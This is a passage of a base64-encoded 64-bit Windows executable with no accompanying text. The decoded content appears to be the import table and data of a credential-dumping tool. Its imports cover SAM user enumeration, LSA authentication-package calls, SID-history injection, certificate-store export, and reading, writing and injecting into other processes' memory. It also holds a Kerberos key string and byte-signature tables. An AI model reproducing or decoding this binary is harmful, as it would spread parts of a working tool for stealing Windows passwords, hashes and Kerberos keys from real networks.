lZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABABUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAAcARHNCaW5kVwBmAERzVW5CaW5kVwABAERzQWRkU2lkSGlzdG9yeVcAAE5URFNBUEkuZGxsAHkBUnBjQmluZGluZ1NldE9wdGlvbgBnAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAPYBUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAAB2AVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA+gFScGNTdHJpbmdGcmVlVwAAZQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJYATmRyQ2xpZW50Q2FsbDMAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAxwFJc0NoYXJBbHBoYU51bWVyaWNXAEABR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEYDTG9jYWxBbGxvYwAAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAASgNMb2NhbEZyZWUAwwNSZWFkRmlsZQAANAVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwDABFNsZWVwAAgCR2V0TGFzdEVycm9yAADPBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALQAQ3JlYXRlVGhyZWFkAAD4AUdldEZpbGVTaXplRXgAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAXQFGbHVzaEZpbGVCdWZmZXJzAADGAUdldEN1cnJlbnRQcm9jZXNzAOwARHVwbGljYXRlSGFuZGxlAIIDT3BlblByb2Nlc3MA4QBEZXZpY2VJb0NvbnRyb2wAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAP4EVmlydHVhbFByb3RlY3QAAPsEVmlydHVhbEZyZWUA+ARWaXJ0dWFsQWxsb2MAAHQEU2V0RmlsZVBvaW50ZXIAAP8EVmlydHVhbFByb3RlY3RFeAAA+QRWaXJ0dWFsQWxsb2NFeAAAxgNSZWFkUHJvY2Vzc01lbW9yeQD8BFZpcnR1YWxGcmVlRXgAAAVWaXJ0dWFsUXVlcnkAAAEFVmlydHVhbFF1ZXJ5RXgAAOUEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABZA01hcFZpZXdPZkZpbGUATQNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAIAEU2V0TGFzdEVycm9yAAAIBVdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACoBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAngJHZXRUaW1lRm9ybWF0VwAAzwFHZXREYXRlRm9ybWF0VwAAPwFGaW5kRmlyc3RGaWxlVwAASwFGaW5kTmV4dEZpbGVXADQBRmluZENsb3NlAPEBR2V0RmlsZUF0dHJpYnV0ZXNXAACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAABoAUZyZWVMaWJyYXJ5AB4CR2V0TW9kdWxlSGFuZGxlVwAAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAawJHZXRTdGRIYW5kbGUAAC4BRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAFsEU2V0Q3VycmVudERpcmVjdG9yeVcAAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAADKAUdldEN1cnJlbnRUaHJlYWQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACpA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMsBR2V0Q3VycmVudFRocmVhZElkAADvAkluaXRpYWxpemVTTGlzdEhlYWQAGARSdGxDYXB0dXJlQ29udGV4dAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACYEUnRsVmlydHVhbFVud2luZAAAAgNJc0RlYnVnZ2VyUHJlc2VudADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAagJHZXRTdGFydHVwSW5mb1cABgNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AEtFUk5FTDMyLmRsbAAA8QJTeXN0ZW1GdW5jdGlvbjAzNgAaAkdldE1vZHVsZUZpbGVOYW1lVwAAJQRSdGxVbndpbmRFeADxAkludGVybG9ja2VkRmx1c2hTTGlzdADrAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQA0wRUbHNBbGxvYwAA1QRUbHNHZXRWYWx1ZQDWBFRsc1NldFZhbHVlANQEVGxzRnJlZQBAA0xvYWRMaWJyYXJ5RXhXAADyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCMAUdldENvbW1hbmRMaW5lQQCNAUdldENvbW1hbmRMaW5lVwAfAUV4aXRQcm9jZXNzAM4EVGVybWluYXRlUHJvY2VzcwAAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MAbgFHZXRBQ1AAAPoBR2V0RmlsZVR5cGUALwNMQ01hcFN0cmluZ1cAAKABR2V0Q29uc29sZUNQAACyAUdldENvbnNvbGVNb2RlAACUBFNldFN0ZEhhbmRsZQAAcAJHZXRTdHJpbmdUeXBlVwAADANJc1ZhbGlkQ29kZVBhZ2UAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8A4QFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAFECR2V0UHJvY2Vzc0hlYXAAAHUEU2V0RmlsZVBvaW50ZXJFeAAAMwVXcml0ZUNvbnNvbGVXANwCSGVhcFNpemUAANoCSGVhcFJlQWxsb2MAYQRTZXRFbmRPZkZpbGUAAMEDUmVhZENvbnNvbGVXAAC0A1JhaXNlRXhjZXB0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAQAAAAIAAAAvIAAAAAAAADKi3y2ZKwAAzV0g0mbU//8AAAAAAAAAAAAAAAAAAAAAEBoHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACrkOxeIsCyRKXd/XFqIioVAAAAAAAAAAAAAAAAAAAAACRsAoABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAMAAAACAAAAP////8AAAAAAAAAAGBjBIABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhzB4ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGHMHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYcweAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhzB4ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGHMHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwHgHgAEAAAAAAAAAAAAAAAAAAAAAAAAA4GUEgAEAAABgZwSAAQAAAPBVBIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsHEHgAEAAABwcweAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////AAAAAAAAAACAAAoKCgAAAGJoBIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwcweAAQAAAAECBAgAAAAAAAAAAAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////AAAAAAAAAAAAAAAAWHkHgAEAAAD0sgeAAQAAAPSyB4ABAAAA9LIHgAEAAAD0sgeAAQAAAPSyB4ABAAAA9LIHgAEAAAD0sgeAAQAAAPSyB4ABAAAA9LIHgAEAAAB/f39/f39/f1x5B4ABAAAA+LIHgAEAAAD4sgeAAQAAAPiyB4ABAAAA+LIHgAEAAAD4sgeAAQAAAPiyB4ABAAAA+LIHgAEAAAAuAAAALgAAAP7/////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAB1mAAAAAAAAAAAAAAAAAAAGiBN4tZP0RGj2gAA+HWuDbB6B4ABAAAAsHoHgAEAAADAegeAAQAAAMB6B4ABAAAA0HoHgAEAAADQegeAAQAAAAgACQAAAAAAuPoFgAEAAAABAgAABwAAAAACAAAHAAAACAIAAAcAAAAGAgAABwAAAAcCAAAHAAAA6+vD6wwBQAAAdevrDAFAAAAPhQCQ6QAAKAoAAAAAAAADAAAAAAAAACh8B4ABAAAAAAAAAAAAAAAAAAAAAAAAAPv///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwFwAAAAAAAAQAAAAAAAAALHwHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAjAAAAAAAABwAAAAAAAAAgfAeAAQAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADABAAAAPhQAMDnIADA4PgvZDKAIPhQAAkOkAAPZDJAJ1AAAA9kYkAnUAAAAAAAAAcBcAAAAAAAAGAAAAAAAAADB8B4ABAAAAAgAAAAAAAAAseweAAQAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwHQAAAAAAAAUAAAAAAAAAMH4HgAEAAAABAAAAAAAAABh7B4ABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAjAAAAAAAABQAAAAAAAAA8fAeAAQAAAAEAAAAAAAAAGHsHgAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCUAAAAAAAAFAAAAAAAAAER8B4ABAAAAAQAAAAAAAAAYeweAAQAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoCgAAAAAAAAYAAAAAAAAAHHsHgAEAAAABAAAAAAAAABl7B4ABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAXAAAAAAAABwAAAAAAAAAkeweAAQAAAAIAAAAAAAAAOHwHgAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9kMoAnUAAABFM+3D6wQAAEiLxFdIg+xQSMdAyP7///9IiVgISY1BIEiJXCQIV0iD7CBIi/lIi8pIi9rokJAAAP/3SIPsUEjHRCQg/v///0iJXCRgSIvaSIv5SIvK6AAASYlbEEmJcxi7AwAAwOkAACgKAAAAAAAACAAAAAAAAACQfgeAAQAAAAQAAAAAAAAAOH4HgAEAAAD2////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcBcAAAAAAAAUAAAAAAAAAFh+B4ABAAAAAQAAAAAAAAAaeweAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwHQAAAAAAAB4AAAAAAAAAcH4HgAEAAAABAAAAAAAAABp7B4ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgmAAAAAAAAFAAAAAAAAABAfgeAAQAAAAEAAAAAAAAAGnsHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAASAAAAAACAaAWAAQAAAM4OAAAAAAAABgAAAAAAAACYfgeAAQAAAAEAAAAAAAAAG3sHgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANgA4AAAAAACgaQWAAQAAACIAJAAAAAAAmGgFgAEAAAAgACIAAAAAAFhpBYABAAAAzg4AAAAAAAAEAAAAAAAAAFR+B4ABAAAAAgAAAAAAAABsfgeAAQAAAO////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwFwAAAAAAAAQAAAAAAAAAVH4HgAEAAAACAAAAAAAAADx+B4ABAAAA6////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAlAAAAAAAABAAAAAAAAABUfgeAAQAAAAIAAAAAAAAAPH4HgAEAAADo////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAgAAAAAACAaQWAAQAAAAwADgAAAAAA4GoFgAEAAAC4ViEAAEEAAKn/zf//D4UASYtIGEiLhCQABAAAkJAAAMdEJHRZBxoB6QAAAEiL14uMJMAAkJAAAAAAAIlEJHA7xnQAAKn/zf//D4UAg/gCf0SLnCScAQAAQYH76AMAAHNIg+wgSYvZSYv4i/FIAAAA//9MjYQkWAEAAAAAqf/N//8PhQCQ6QAAV0iD7CBJi9lJi/iL8UgAAMdEJHTtBhoBiwAAALhWIQAAQQAAqf/N//8PhQAlAgDASYvQTYvB6wiQkJCQkJCQkIlMJAiWBRoBSAAAAAAAAAD//0yNjCRgAQAAAAAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAAYAAAAAAAAAJIIHgAEAAAABAAAAAAAAACJ7B4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAADYjgeAAQAAAAEAAAAAAAAAInsHgAEAAADz////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAACSNB4ABAAAABgAAAAAAAACsjAeAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAoI4HgAEAAAAGAAAAAAAAAKyMB4ABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAAYjQeAAQAAAAEAAAAAAAAAInsHgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAKCBB4ABAAAAAQAAAAAAAAAieweAAQAAAPD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAA/IEHgAEAAAAGAAAAAAAAAKyMB4ABAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAAAAAB4jQeAAQAAAAEAAAAAAAAAInsHgAEAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAKSMB4ABAAAAAQAAAAAAAAAieweAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAALI0HgAEAAAABAAAAAAAAACJ7B4ABAAAA8////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAA8jQeAAQAAAAYAAAAAAAAArIwHgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAPCBB4ABAAAABgAAAAAAAACsjAeAAQAAAPz///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAuI4HgAEAAAABAAAAAAAAACJ7B4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAAACIjQeAAQAAAAEAAAAAAAAAInsHgAEAAADw////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAMSBB4ABAAAABgAAAAAAAACsjAeAAQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA0IEHgAEAAAABAAAAAAAAACJ7B4ABAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAACAgQeAAQAAAAEAAAAAAAAAInsHgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAEyCB4ABAAAAAQAAAAAAAAAieweAAQAAAPL///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAkIwHgAEAAAABAAAAAAAAACJ7B4ABAAAAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAAAAAC4gQeAAQAAAAEAAAAAAAAAInsHgAEAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAEiNB4ABAAAAAQAAAAAAAAAieweAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAGIIHgAEAAAABAAAAAAAAACJ7B4ABAAAA7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAACIgQeAAQAAAAYAAAAAAAAArIwHgAEAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAJCOB4ABAAAAAQAAAAAAAAAieweAAQAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAtIwHgAEAAAABAAAAAAAAACJ7B4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAACUjQeAAQAAAAEAAAAAAAAAInsHgAEAAADz////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAKyBB4ABAAAABgAAAAAAAACsjAeAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAWIIHgAEAAAAGAAAAAAAAAKyMB4ABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAACQgQeAAQAAAAEAAAAAAAAAInsHgAEAAA